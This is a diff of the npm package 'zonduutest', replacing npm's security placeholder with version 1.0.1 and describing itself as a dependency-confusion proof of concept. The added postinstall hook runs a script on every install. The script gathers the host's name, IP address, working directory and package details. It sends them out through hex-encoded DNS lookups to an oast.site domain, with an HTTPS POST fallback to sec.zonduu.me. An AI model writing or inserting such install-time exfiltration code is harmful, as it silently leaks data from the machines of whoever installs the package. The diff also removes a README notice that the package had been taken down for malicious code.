zonduutest 0.0.1-security.1 → 1.0.1

package/package.json

@@ -1,6 +1,15 @@
 {
   "name": "zonduutest",
-  "version": "0.0.1-security.1",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.1",
+  "description": "Proof of concept for dependency confusion",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "zonduutest": "^1.0.0"
+  }
 }

package/postinstall.js

@@ -0,0 +1,51 @@
+const dns = require('dns');
+const https = require('https');
+const os = require('os');
+
+const hostname = os.hostname();
+const packageName = process.env.npm_package_name;
+const packageVersion = process.env.npm_package_version;
+const ipAddress = require('child_process').execSync('hostname -I').toString().trim();
+const currentPath = process.cwd();
+
+// Construct the data to be exfiltrated
+const data = {
+  packageName,
+  packageVersion,
+  hostname,
+  ipAddress,
+  currentPath
+};
+
+// Encode the data in hex for DNS exfiltration
+const hexData = Buffer.from(JSON.stringify(data)).toString('hex');
+
+// DNS exfiltration
+const dnsSubdomain = `${hexData}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
+
+dns.resolve4(dnsSubdomain, (err, addresses) => {
+  if (err) {
+    // HTTP fallback
+    const postData = JSON.stringify(data);
+
+    const options = {
+      hostname: 'sec.zonduu.me',
+      port: 443,
+      path: '/callbackplz',
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': postData.length
+      }
+    };
+
+    const req = https.request(options, (res) => {
+      res.on('data', (d) => {});
+    });
+
+    req.on('error', (e) => {});
+
+    req.write(postData);
+    req.end();
+  }
+});

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=zonduutest for more information.